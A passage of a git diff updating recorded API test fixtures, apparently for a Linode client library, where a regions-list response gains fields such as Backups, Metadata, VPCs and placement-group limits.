Access-Control-Allow-Origin: - - '*' - Access-Control-Expose-Headers: - - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status - Cache-Control: - - private, max-age=60, s-maxage=60 - Content-Length: - - "2" - Content-Security-Policy: - - default-src 'none' - Content-Type: - - application/json - Server: - - nginx - Strict-Transport-Security: - - max-age=31536000 - Vary: - - Authorization, X-Filter - X-Accepted-Oauth-Scopes: - - firewall:read_write - X-Content-Type-Options: - - nosniff - X-Frame-Options: - - DENY - - DENY - X-Oauth-Scopes: - - '*' + - account:read_write databases:read_write domains:read_write events:read_write + firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write + longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write + volumes:read_write vpc:read_write X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK diff --git a/test/integration/fixtures/TestNodeBalancerNodes_ListMultiplePagesInstance.yaml b/test/integration/fixtures/TestNodeBalancerNodes_ListMultiplePagesInstance.yaml index 1a3c6a91d..f04f6c5ab 100644 --- a/test/integration/fixtures/TestNodeBalancerNodes_ListMultiplePagesInstance.yaml +++ b/test/integration/fixtures/TestNodeBalancerNodes_ListMultiplePagesInstance.yaml @@ -15,176 +15,243 @@ interactions: method: GET response: body: '{"data": [{"id": "ap-west", "label": "Mumbai, IN", "country": "in", "capabilities": - ["Linodes", "NodeBalancers", "Block Storage", "GPU Linodes", "Kubernetes", "Cloud - Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": - "ok", "resolvers": {"ipv4": "172.105.34.5, 172.105.35.5, 172.105.36.5, 172.105.37.5, - 172.105.38.5, 172.105.39.5, 172.105.40.5, 172.105.41.5, 172.105.42.5, 172.105.43.5", + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "GPU Linodes", "Kubernetes", + "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", + "Metadata"], "status": "ok", "resolvers": {"ipv4": "172.105.34.5, 172.105.35.5, + 172.105.36.5, 172.105.37.5, 172.105.38.5, 172.105.39.5, 172.105.40.5, 172.105.41.5, + 172.105.42.5, 172.105.43.5", "ipv6": "1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "ca-central", "label": "Toronto, CA", "country": "ca", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud + Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], + "status": "ok", "resolvers": {"ipv4": "172.105.0.5, 172.105.3.5, 172.105.4.5, + 172.105.5.5, 172.105.6.5, 172.105.7.5, 172.105.8.5, 172.105.9.5, 172.105.10.5, + 172.105.11.5", "ipv6": "1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "ap-southeast", "label": "Sydney, AU", "country": "au", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud + Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], + "status": "ok", "resolvers": {"ipv4": "172.105.166.5, 172.105.169.5, 172.105.168.5, + 172.105.172.5, 172.105.162.5, 172.105.170.5, 172.105.167.5, 172.105.171.5, 172.105.181.5, + 172.105.161.5", "ipv6": "1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "us-iad", "label": "Washington, DC", "country": "us", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", + "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium + Plans"], "status": "ok", "resolvers": {"ipv4": "139.144.192.62, 139.144.192.60, + 139.144.192.61, 139.144.192.53, 139.144.192.54, 139.144.192.67, 139.144.192.69, + 139.144.192.66, 139.144.192.52, 139.144.192.68", "ipv6": "1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678"}, + "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": + 5}, "site_type": "core"}, {"id": "us-ord", "label": "Chicago, IL", "country": + "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", + "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", + "Managed Databases", "Metadata", "Premium Plans"], "status": "ok", "resolvers": + {"ipv4": "172.232.0.17, 172.232.0.16, 172.232.0.21, 172.232.0.13, 172.232.0.22, + 172.232.0.9, 172.232.0.19, 172.232.0.20, 172.232.0.15, 172.232.0.18", "ipv6": + "1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "fr-par", "label": + "Paris, FR", "country": "fr", "capabilities": ["Linodes", "Backups", "NodeBalancers", + "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", + "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans"], "status": + "ok", "resolvers": {"ipv4": "172.232.32.21, 172.232.32.23, 172.232.32.17, 172.232.32.18, + 172.232.32.16, 172.232.32.22, 172.232.32.20, 172.232.32.14, 172.232.32.11, 172.232.32.12", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678"}}, {"id": "ca-central", "label": "Toronto, CA", - "country": "ca", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", - "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed - Databases"], "status": "ok", "resolvers": {"ipv4": "172.105.0.5, 172.105.3.5, - 172.105.4.5, 172.105.5.5, 172.105.6.5, 172.105.7.5, 172.105.8.5, 172.105.9.5, - 172.105.10.5, 172.105.11.5", "ipv6": "1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678"}}, {"id": "ap-southeast", - "label": "Sydney, AU", "country": "au", "capabilities": ["Linodes", "NodeBalancers", - "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", - "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "172.105.166.5, - 172.105.169.5, 172.105.168.5, 172.105.172.5, 172.105.162.5, 172.105.170.5, 172.105.167.5, - 172.105.171.5, 172.105.181.5, 172.105.161.5", "ipv6": "1234::5678, - 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678"}}, - {"id": "us-iad", "label": "Washington, DC", "country": "us", "capabilities": - ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", - "Cloud Firewall", "Vlans", "Managed Databases", "Metadata", "Premium Plans"], - "status": "ok", "resolvers": {"ipv4": "139.144.192.62, 139.144.192.60, 139.144.192.61, 139.144.192.53, 139.144.192.54, 139.144.192.67, 139.144.192.69, 139.144.192.66, 139.144.192.52, 139.144.192.68", - "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, - {"id": "us-ord", "label": "Chicago, IL", "country": "us", "capabilities": ["Linodes", - "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", - "Vlans", "Managed Databases", "Premium Plans"], "status": "ok", "resolvers": - {"ipv4": "172.232.0.17, 172.232.0.16, 172.232.0.21, 172.232.0.13, 172.232.0.22, 172.232.0.9, 172.232.0.19, 172.232.0.20, 172.232.0.15, 172.232.0.18", - "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, - {"id": "fr-par", "label": "Paris, FR", "country": "fr", "capabilities": ["Linodes", - "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", - "Vlans", "Managed Databases", "Metadata", "Premium Plans"], "status": "ok", - "resolvers": {"ipv4": "172.232.32.21, 172.232.32.23, 172.232.32.17, 172.232.32.18, 172.232.32.16, 172.232.32.22, 172.232.32.20, 172.232.32.14, 172.232.32.11, 172.232.32.12", - "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, - {"id": "us-sea", "label": "Seattle, WA", "country": "us", "capabilities": ["Linodes", - "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", - "Vlans", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.160.19, - 172.232.160.21, 172.232.160.17, 172.232.160.15, 172.232.160.18, 172.232.160.8, - 172.232.160.12, 172.232.160.11, 172.232.160.14, 172.232.160.16", "ipv6": "1234::5678, - 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678"}}, - {"id": "br-gru", "label": "Sao Paulo, BR", "country": "br", "capabilities": - ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", - "Cloud Firewall", "Vlans", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-sea", "label": + "Seattle, WA", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", + "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", + "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": + {"ipv4": "172.232.160.19, 172.232.160.21, 172.232.160.17, 172.232.160.15, 172.232.160.18, + 172.232.160.8, 172.232.160.12, 172.232.160.11, 172.232.160.14, 172.232.160.16", + "ipv6": "1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "br-gru", "label": + "Sao Paulo, BR", "country": "br", "capabilities": ["Linodes", "Backups", "NodeBalancers", + "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", + "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.0.4, 172.233.0.9, 172.233.0.7, 172.233.0.12, 172.233.0.5, 172.233.0.13, 172.233.0.10, 172.233.0.6, 172.233.0.8, 172.233.0.11", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678"}}, - {"id": "nl-ams", "label": "Amsterdam, NL", "country": "nl", "capabilities": - ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", - "Cloud Firewall", "Vlans", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": - "172.233.33.36, 172.233.33.38, 172.233.33.35, 172.233.33.39, 172.233.33.34, - 172.233.33.33, 172.233.33.31, 172.233.33.30, 172.233.33.37, 172.233.33.32", + 1234::5678, 1234::5678, 1234::5678"}, + "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": + 5}, "site_type": "core"}, {"id": "nl-ams", "label": "Amsterdam, NL", "country": + "nl", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", + "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", + "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.33.36, 172.233.33.38, + 172.233.33.35, 172.233.33.39, 172.233.33.34, 172.233.33.33, 172.233.33.31, 172.233.33.30, + 172.233.33.37, 172.233.33.32", "ipv6": "1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "se-sto", "label": "Stockholm, SE", "country": "se", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", + "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", + "resolvers": {"ipv4": "172.232.128.24, 172.232.128.26, 172.232.128.20, 172.232.128.22, + 172.232.128.25, 172.232.128.19, 172.232.128.23, 172.232.128.18, 172.232.128.21, + 172.232.128.27", "ipv6": "1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "es-mad", "label": "Madrid, ES", "country": "es", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", + "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", + "resolvers": {"ipv4": "172.233.111.6, 172.233.111.17, 172.233.111.21, 172.233.111.25, + 172.233.111.19, 172.233.111.12, 172.233.111.26, 172.233.111.16, 172.233.111.18, + 172.233.111.9", "ipv6": "1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "in-maa", "label": "Chennai, IN", "country": "in", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", + "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", + "resolvers": {"ipv4": "172.232.96.17, 172.232.96.26, 172.232.96.19, 172.232.96.20, + 172.232.96.25, 172.232.96.21, 172.232.96.18, 172.232.96.22, 172.232.96.23, 172.232.96.24", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678"}}, {"id": "se-sto", "label": "Stockholm, SE", - "country": "se", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", - "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Premium Plans"], - "status": "ok", "resolvers": {"ipv4": "172.232.128.24, 172.232.128.26, 172.232.128.20, - 172.232.128.22, 172.232.128.25, 172.232.128.19, 172.232.128.23, 172.232.128.18, - 172.232.128.21, 172.232.128.27", "ipv6": "1234::5678, 1234::5678, + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "jp-osa", "label": + "Osaka, JP", "country": "jp", "capabilities": ["Linodes", "Backups", "NodeBalancers", + "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", + "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": + {"ipv4": "172.233.64.44, 172.233.64.43, 172.233.64.37, 172.233.64.40, 172.233.64.46, + 172.233.64.41, 172.233.64.39, 172.233.64.42, 172.233.64.45, 172.233.64.38", + "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678"}}, {"id": "in-maa", - "label": "Chennai, IN", "country": "in", "capabilities": ["Linodes", "NodeBalancers", + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "it-mil", "label": + "Milan, IT", "country": "it", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", - "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.96.17, 172.232.96.26, 172.232.96.19, 172.232.96.20, 172.232.96.25, 172.232.96.21, 172.232.96.18, 172.232.96.22, 172.232.96.23, 172.232.96.24", - "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, - {"id": "jp-osa", "label": "Osaka, JP", "country": "jp", "capabilities": ["Linodes", - "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", - "Vlans", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.64.44, - 172.233.64.43, 172.233.64.37, 172.233.64.40, 172.233.64.46, 172.233.64.41, 172.233.64.39, - 172.233.64.42, 172.233.64.45, 172.233.64.38", "ipv6": "1234::5678, - 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678"}}, - {"id": "it-mil", "label": "Milan, IT", "country": "it", "capabilities": ["Linodes", - "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", - "Vlans", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.192.19, - 172.232.192.18, 172.232.192.16, 172.232.192.20, 172.232.192.24, 172.232.192.21, - 172.232.192.22, 172.232.192.17, 172.232.192.15, 172.232.192.23", "ipv6": "1234::5678, - 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678"}}, - {"id": "us-mia", "label": "Miami, FL", "country": "us", "capabilities": ["Linodes", - "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", - "Vlans", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.160.34, - 172.233.160.27, 172.233.160.30, 172.233.160.29, 172.233.160.32, 172.233.160.28, - 172.233.160.33, 172.233.160.26, 172.233.160.25, 172.233.160.31", "ipv6": "1234::5678, - 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678"}}, - {"id": "id-cgk", "label": "Jakarta, ID", "country": "id", "capabilities": ["Linodes", - "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", - "Vlans", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.224.23, - 172.232.224.32, 172.232.224.26, 172.232.224.27, 172.232.224.21, 172.232.224.24, - 172.232.224.22, 172.232.224.20, 172.232.224.31, 172.232.224.28", "ipv6": "1234::5678, - 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678"}}, - {"id": "us-lax", "label": "Los Angeles, CA", "country": "us", "capabilities": - ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", - "Cloud Firewall", "Vlans", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": + "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": + "172.232.192.19, 172.232.192.18, 172.232.192.16, 172.232.192.20, 172.232.192.24, + 172.232.192.21, 172.232.192.22, 172.232.192.17, 172.232.192.15, 172.232.192.23", + "ipv6": "1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-mia", "label": + "Miami, FL", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", + "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", + "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": + "172.233.160.34, 172.233.160.27, 172.233.160.30, 172.233.160.29, 172.233.160.32, + 172.233.160.28, 172.233.160.33, 172.233.160.26, 172.233.160.25, 172.233.160.31", + "ipv6": "1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "id-cgk", "label": + "Jakarta, ID", "country": "id", "capabilities": ["Linodes", "Backups", "NodeBalancers", + "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", + "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": + "172.232.224.23, 172.232.224.32, 172.232.224.26, 172.232.224.27, 172.232.224.21, + 172.232.224.24, 172.232.224.22, 172.232.224.20, 172.232.224.31, 172.232.224.28", + "ipv6": "1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-lax", "label": + "Los Angeles, CA", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", + "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", + "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.128.45, 172.233.128.38, 172.233.128.53, 172.233.128.37, 172.233.128.34, 172.233.128.36, 172.233.128.33, 172.233.128.39, 172.233.128.43, 172.233.128.44", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678"}}, {"id": "us-central", "label": "Dallas, TX", - "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", - "Kubernetes", "Cloud Firewall", "Block Storage Migrations", "Managed Databases"], - "status": "ok", "resolvers": {"ipv4": "72.14.179.5, 72.14.188.5, 173.255.199.5, - 66.228.53.5, 96.126.122.5, 96.126.124.5, 96.126.127.5, 198.58.107.5, 198.58.111.5, - 23.239.24.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, - {"id": "us-west", "label": "Fremont, CA", "country": "us", "capabilities": ["Linodes", - "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Block Storage - Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "173.230.145.5, - 173.230.147.5, 173.230.155.5, 173.255.212.5, 173.255.219.5, 173.255.241.5, 173.255.243.5, - 173.255.244.5, 74.207.241.5, 74.207.242.5", "ipv6": "1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678"}}, {"id": "us-southeast", "label": "Atlanta, GA", - "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-central", + "label": "Dallas, TX", "country": "us", "capabilities": ["Linodes", "Backups", + "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block + Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": + {"ipv4": "72.14.179.5, 72.14.188.5, 173.255.199.5, 66.228.53.5, 96.126.122.5, + 96.126.124.5, 96.126.127.5, 198.58.107.5, 198.58.111.5, 23.239.24.5", "ipv6": + "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "us-west", "label": "Fremont, CA", "country": "us", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud + Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], + "status": "ok", "resolvers": {"ipv4": "173.230.145.5, 173.230.147.5, 173.230.155.5, + 173.255.212.5, 173.255.219.5, 173.255.241.5, 173.255.243.5, 173.255.244.5, 74.207.241.5, + 74.207.242.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, + "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": + 5}, "site_type": "core"}, {"id": "us-southeast", "label": "Atlanta, GA", "country": + "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block - Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": - "74.207.231.5, 173.230.128.5, 173.230.129.5, 173.230.136.5, 173.230.140.5, 66.228.59.5, - 66.228.62.5, 50.116.35.5, 50.116.41.5, 23.239.18.5", "ipv6": "1234::5678, + Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": + {"ipv4": "74.207.231.5, 173.230.128.5, 173.230.129.5, 173.230.136.5, 173.230.140.5, + 66.228.59.5, 66.228.62.5, 50.116.35.5, 50.116.41.5, 23.239.18.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-east", "label": "Newark, - NJ", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", - "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Bare Metal", - "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": - {"ipv4": "66.228.42.5, 96.126.106.5, 50.116.53.5, 50.116.58.5, 50.116.61.5, - 50.116.62.5, 66.175.211.5, 97.107.133.4, 207.192.69.4, 207.192.69.5", "ipv6": + 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-east", "label": + "Newark, NJ", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", + "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", + "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], "status": + "ok", "resolvers": {"ipv4": "66.228.42.5, 96.126.106.5, 50.116.53.5, 50.116.58.5, + 50.116.61.5, 50.116.62.5, 66.175.211.5, 97.107.133.4, 207.192.69.4, 207.192.69.5", + "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "eu-west", "label": "London, UK", "country": "gb", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud + Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], + "status": "ok", "resolvers": {"ipv4": "178.79.182.5, 176.58.107.5, 176.58.116.5, + 176.58.121.5, 151.236.220.5, 212.71.252.5, 212.71.253.5, 109.74.192.20, 109.74.193.20, + 109.74.194.20", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, + "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": + 5}, "site_type": "core"}, {"id": "ap-south", "label": "Singapore, SG", "country": + "sg", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", + "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block + Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": + {"ipv4": "139.162.11.5, 139.162.13.5, 139.162.14.5, 139.162.15.5, 139.162.16.5, + 139.162.21.5, 139.162.27.5, 103.3.60.18, 103.3.60.19, 103.3.60.20", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "eu-west", - "label": "London, UK", "country": "gb", "capabilities": ["Linodes", "NodeBalancers", - "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", - "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "178.79.182.5, 176.58.107.5, 176.58.116.5, 176.58.121.5, 151.236.220.5, 212.71.252.5, 212.71.253.5, 109.74.192.20, 109.74.193.20, 109.74.194.20", - "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, - {"id": "ap-south", "label": "Singapore, SG", "country": "sg", "capabilities": - ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", - "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed - Databases"], "status": "ok", "resolvers": {"ipv4": "139.162.11.5, 139.162.13.5, - 139.162.14.5, 139.162.15.5, 139.162.16.5, 139.162.21.5, 139.162.27.5, 103.3.60.18, - 103.3.60.19, 103.3.60.20", "ipv6": "1234::5678, 1234::5678, 1234::5678, - 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, - 1234::5678"}}, {"id": "eu-central", "label": "Frankfurt, DE", "country": "de", - 